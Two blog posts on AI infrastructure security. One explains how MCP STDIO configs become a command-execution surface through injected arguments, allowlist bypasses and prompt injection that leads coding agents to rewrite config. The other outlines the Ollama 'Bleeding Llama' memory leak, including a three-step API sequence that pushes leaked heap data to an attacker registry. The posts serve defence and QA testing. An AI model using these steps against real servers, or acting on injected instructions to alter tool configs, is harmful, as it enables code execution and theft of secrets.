DEV Community: Jonathan

MCP STDIO: The Command Runs Before the Server Is Trusted

Jonathan — Mon, 06 Jul 2026 20:06:48 +0000

If you are building AI agents with MCP, there is one detail about STDIO transport that is easy to miss.

The client reads a config value.

That config value contains a command.

The command runs.

Only after that does the client find out whether the command started a valid MCP server.

If the command starts a real MCP server, the agent gets a working tool connection.

If it does not, the agent gets an error.

But the command already ran.

That is the part developers need to sit with. This is not just a bug in one app. According to OX Security, it is a design characteristic of how MCP STDIO transport works.

The short version

MCP lets AI agents connect to tools, files, databases, APIs, and local services.

STDIO is one of MCP's transports. Instead of connecting over HTTP, the client launches a local process and talks to it through standard input and standard output.

That design is useful. It avoids opening a network port. It makes local tools easy to wire into an agent.

It also means the MCP client is launching a process on the user's machine.

That is not automatically unsafe. Local developer tools launch processes all the time.

The risk appears when untrusted input can influence the command, the arguments, or the config file that defines the MCP server.

At that point, your MCP config becomes a command execution surface.

What OX Security found

OX Security published research in April 2026 after auditing MCP for five months.

Their finding was simple but serious:

If attacker-controlled input reaches an MCP STDIO launch command, the attacker may be able to run code on the host.

OX grouped the risk into a few paths:

Direct command injection. Some AI frameworks passed user input into STDIO server configuration without enough validation.

Allowlist bypasses. A product might allow only a trusted launcher such as npx, but still allow attacker-controlled arguments. If the arguments can change what npx runs, the allowlist does not protect much.

IDE prompt injection. A coding agent or IDE may process untrusted content from files, web pages, repos, or tool responses. If that content can cause the agent to modify local MCP config, the next tool launch can become code execution.

One confirmed example was CVE-2026-30615 in Windsurf, where attacker-controlled HTML could modify local MCP configuration and automatically register a malicious MCP STDIO server, leading to command execution without further user interaction.

Marketplace distribution. OX submitted a test package to 11 MCP marketplaces. Nine accepted it.

OX also reported 7,000 publicly accessible servers, up to 200,000 vulnerable instances, and command execution on six live production platforms.

Those numbers matter less than the pattern.

MCP is becoming infrastructure. When infrastructure has a sharp edge, everyone downstream inherits it.

The allowlist problem

The allowlist bypass is the developer lesson.

Imagine a product has a security rule like this:

Only allow MCP STDIO servers to launch with npx.

That sounds reasonable. It blocks random binaries. It gives the team one trusted launcher to review.

But what if untrusted input reaches the args?

{
  "name": "example-tool",
  "transport": "stdio",
  "command": "npx",
  "args": ["-c", "<untrusted input>"]
}

The allowlist checked the command name.

It did not check what the command was being asked to do.

That is the mismatch. Security logic says, "The command is allowed." Runtime behavior says, "The full command plus arguments is what matters."

A real allowlist cannot stop at the binary name. It has to validate the full command shape.

That means:

which launcher is allowed
which arguments are allowed
which package names are allowed
which flags are blocked
whether shell-like behavior is possible
whether the command is pinned to a known version
whether the server definition came from a trusted source

If the answer is "we allow npx and trust the rest," that is not a security boundary.

Why this is not just an MCP problem

This is the same class of mistake developers have seen for years.

We trust a wrapper and forget the wrapper can be told to do unsafe things.

We validate a filename and forget the path can escape the directory.

We allow one executable and forget its flags can change the execution model.

MCP makes the problem more important because agents are now sitting between untrusted content and local execution.

A developer may ask an agent to inspect a repo, read docs, summarize an issue, install a tool, or configure a local server.

That agent may read content the attacker controls.

If the agent can write config files or launch tools, the attacker does not need to trick the human directly. They can influence the agent's environment.

That is why prompt injection becomes more serious when it meets local tool execution.

The prompt is not the payload by itself.

The prompt becomes the path to the payload.

Why Anthropic did not patch the protocol

Anthropic's position, as characterized by OX Security, is that this behavior is expected.

There is some logic to that.

STDIO exists so a client can launch a local MCP server. If the protocol aggressively strips arguments or blocks command patterns, it may break legitimate tool setups.

The counterargument is also reasonable.

A protocol that becomes a default integration layer cannot assume every downstream team will design safe command validation on its own.

Most teams using MCP are not trying to become experts in command execution safety. They are trying to connect an AI agent to useful tools.

That is the supply chain problem.

A risky default at the protocol or SDK layer becomes a repeated bug across many products.

What to check in your own MCP setup

If you are using MCP STDIO, I would start with these tests.

1. Can user input reach the command or args?

Search for places where input flows into values like:

StdioServerParameters(
    command=...,
    args=...
)

Or the equivalent in your language or framework.

If user input reaches either field, treat that as command execution risk.

Do not only check direct form fields. Also check:

imported project files
generated config
agent-written config
tool manifests
marketplace package metadata
setup scripts
repo instructions
issue or PR content consumed by an agent

2. Does your allowlist validate the whole expression?

An allowlist that checks only this:

"command": "npx"

is incomplete.

You also need to validate the args.

Better still, map allowed tools to fixed command templates.

For example:

{
  "tool": "approved-doc-search",
  "command": "npx",
  "args": ["approved-doc-search@1.2.3"]
}

That is safer than letting user-controlled input build the command.

3. Can the agent silently modify MCP config?

This is the part teams will miss.

The risk is not only "did the user type a bad command?"

The risk is also "can the agent change the config after reading hostile content?"

Config changes that affect STDIO launch behavior should require deliberate confirmation. A silent update to an MCP server command should be treated like a code change.

4. Are MCP servers exposed publicly?

If an MCP-connected service is reachable from the public internet, put authentication and network controls in front of it.

Do not treat AI tooling as a harmless dev utility. These systems often hold API keys, local file access, database handles, or cloud credentials.

5. Where did the MCP package come from?

Treat MCP servers like npm packages.

That means checking:

publisher identity
repo history
install scripts
version pinning
package age
permissions requested
whether the package is from an official source

A marketplace listing is not enough.

The QA lesson

The most useful test case is not "can I jailbreak the model?"

The better test is:

Can untrusted content cause the agent to create, modify, or launch an MCP STDIO server in a way that changes what code runs?

That gives QA and security teams a concrete workflow to test.

Put malicious instructions in places the agent is likely to read:

README files
docs pages
issue comments
PR descriptions
web pages
tool responses
package metadata
generated setup instructions

Then verify that the agent cannot turn those instructions into local MCP config changes or unsafe tool launches.

This is where a lot of AI security testing is going next.

Not just prompt input.

Not just model output.

The whole path from untrusted content to tool execution.

The OWASP mapping

This fits cleanly under OWASP LLM03: Supply Chain.

The risk is inherited through protocols, SDKs, registries, and tool packages. Developers downstream may not realize they inherited a command execution surface when they adopted MCP STDIO.

It also touches OWASP LLM06: Excessive Agency.

An agent that can launch local processes through weakly validated config has more capability than most users realize.

That combination is the real issue:

Supply chain risk gives the agent a dangerous tool surface.

Excessive agency lets it use that surface.

Prompt injection gives an attacker a way to steer it.

Bottom line

MCP STDIO is useful.

It is also sharp.

If you use it, do not ask only whether the MCP server works.

Ask what command runs before the server proves it worked.

Because with STDIO, the connector is not just a connector.

The connector is the shell.

Your Local LLM Is Not as Private as You Think

Jonathan — Thu, 25 Jun 2026 20:06:15 +0000

The Bleeding Llama vulnerability shows why running AI locally is not a security strategy

Running an LLM locally feels like a privacy win.

No cloud API. No third-party model provider. No prompts leaving your own machine.

That assumption is comforting. It is also incomplete.

In May 2026, Cyera Research disclosed a critical vulnerability in Ollama called Bleeding Llama. Ollama is one of the most popular ways to run open-source models locally. Developers use it to run models like Llama, Mistral, and others on laptops, workstations, and internal servers.

The vulnerability is tracked as CVE-2026-7482. It affects Ollama versions before 0.17.1 and has been scored 9.1 Critical by Echo CNA.

The issue matters because it challenges a common assumption about local AI systems: if the model runs locally, the data is private.

Bleeding Llama shows why that is not enough.

What Bleeding Llama Exposes

At a technical level, Bleeding Llama is a heap out-of-bounds read in Ollama's GGUF model loading path.

That sounds like a traditional memory-safety bug, and in one sense it is. The underlying weakness is CWE-125: Out-of-bounds Read.

The AI-specific impact comes from where the bug lives.

Ollama servers may hold prompts, system prompts, tool outputs, environment variables, API keys, and data from multiple users in process memory. If that memory leaks, the model does not have to reveal anything intentionally. The infrastructure leaks it first.

According to Cyera, exploitation can be done with three unauthenticated API calls:

# Step 1: Upload malicious GGUF file with inflated tensor metadata
POST /api/blobs/sha256:<hash>

# Step 2: Create model — triggers out-of-bounds heap read
POST /api/create
{"name": "exfil-model", "files": ["<blob-hash>"]}

# Step 3: Push model with leaked heap data to attacker registry
POST /api/push
{"name": "registry.attacker.com/leaked-model"}

An attacker uploads a malicious GGUF file. The file declares tensor metadata that does not match the actual file size. Ollama then processes that file during model creation. The vulnerable path reads past the expected buffer and copies unrelated heap memory into the resulting model artifact.

The attacker then uses Ollama's /api/push endpoint to push that model artifact to an attacker-controlled registry.

No password is required. No user interaction is required. The server does not need to crash.

That is what makes this vulnerability especially troubling. It is not just that memory can leak. It is that the leak can be packaged into a normal-looking model operation.

Why Local Does Not Mean Private

Ollama is designed for local use. That is part of its appeal.

A developer can install it, pull a model, and start experimenting quickly. In a laptop-only setup bound to localhost, the risk profile is very different from a shared or exposed server.

The problem is how local tools often become team infrastructure.

A developer starts with a local experiment. Then a teammate wants access. Then the service gets bound to a broader network interface. Then it becomes part of a demo environment, internal tool, notebook server, CI workflow, or shared AI gateway.

At that point, the word local becomes misleading.

The model may still be running on hardware your team controls, but the service is now reachable by other systems. It has endpoints. It has model loading paths. It has egress behavior. It has access to secrets, prompts, and tool output.

That is no longer just a local model.

It is infrastructure.

And infrastructure needs security testing.

The Disclosure Problem

Bleeding Llama also shows a second problem: security visibility.

Cyera's timeline says the vulnerability was reported to Ollama on February 2, 2026. A fix was acknowledged on February 25. CVE assignment and public visibility came later.

The practical result is that operators had a gap between patch availability and clear security awareness.

That matters.

If a release note does not clearly flag a security fix, teams may treat the update as routine. If scanners do not have a CVE yet, patch management systems may not escalate it. If the affected software is treated as a developer convenience tool rather than production infrastructure, it may not be tracked closely at all.

This is how AI infrastructure becomes risky in practice.

The dangerous systems are not always the ones officially labeled production. Sometimes they are the experimental servers that became useful, stayed online, and quietly moved closer to sensitive data.

What Engineers Should Check

If your team runs Ollama, start with the basics.

Upgrade to version 0.17.1 or later.

Confirm that Ollama is not exposed to the public internet.

Check whether the service is bound only to localhost or to a broader interface.

Place authentication in front of any deployment that is reachable by other users or systems.

Review whether the Ollama process has access to cloud credentials, API tokens, database credentials, or other secrets.

Watch for model push behavior that should not be happening.

Those are immediate checks. They are not the full testing strategy.

The broader lesson is that model-serving infrastructure needs the same scrutiny as any other server that processes sensitive data.

If a system can load untrusted model files, test the model loading path.

If it exposes model creation endpoints, test whether those endpoints require authentication.

If it can push model artifacts to external locations, test egress controls.

If it runs with access to secrets, test the blast radius of process memory exposure.

The model output is only one part of the risk.

What QA Teams Should Test

QA teams often approach AI testing through the prompt layer.

Does the model answer correctly? Does it follow product rules? Does it refuse unsafe requests? Does it expose sensitive data in its response?

Those tests matter. They are just not enough.

Bleeding Llama is not a case where the model chooses to reveal a secret. It is a case where the infrastructure around the model can expose memory that should never leave the server.

That changes the test plan.

QA and security teams should test where data flows, where it is stored, who can reach it, and what happens when an attacker controls part of the input path.

For a local LLM server, that means testing exposed endpoints, model import behavior, authentication, egress behavior, secrets placement, logging, update visibility, and version tracking.

It also means treating model files as untrusted input.

A model artifact is not just data. It exercises parsers, converters, loaders, quantizers, and file handling code. If your product accepts model files or pulls them from external registries, those paths belong in the security test plan.

The Broader Pattern

Bleeding Llama is not only an Ollama story.

It is part of a larger pattern in AI infrastructure.

Tools built for developer convenience get adopted quickly. They move from laptops to shared servers. They connect to coding agents, internal tools, data pipelines, and knowledge bases. Then they become part of the product without always getting the hardening expected of production systems.

The result is a gap between how the tool was designed and how it is used.

That gap is where security failures live.

Running a model yourself can reduce some risks. It can keep data away from third-party APIs. It can give teams more control over deployment and retention.

But it also creates new responsibilities.

You now own the server. You own the network exposure. You own the update process. You own the secrets available to that process. You own the model loading path.

Local control is useful. It is not a substitute for security testing.

The Takeaway

The model does not need to say anything wrong for the system to leak data.

The infrastructure just has to trust the wrong input.

That is the real lesson from Bleeding Llama.

AI security testing cannot stop at the prompt layer. Once an LLM server becomes part of the product, it becomes part of the attack surface.

If that server holds prompts, system prompts, tool outputs, credentials, and private data in memory, then memory is a sensitive data store.

Test it like one.

I write about AI security incidents and what they mean for QA and security teams in my newsletter, AI Leak Watch.

If you work on QA or security for products that use LLMs, my course AI Security Testing: Finding Sensitive Data Leaks (OWASP LLM-02) covers the testing methodology in depth.

References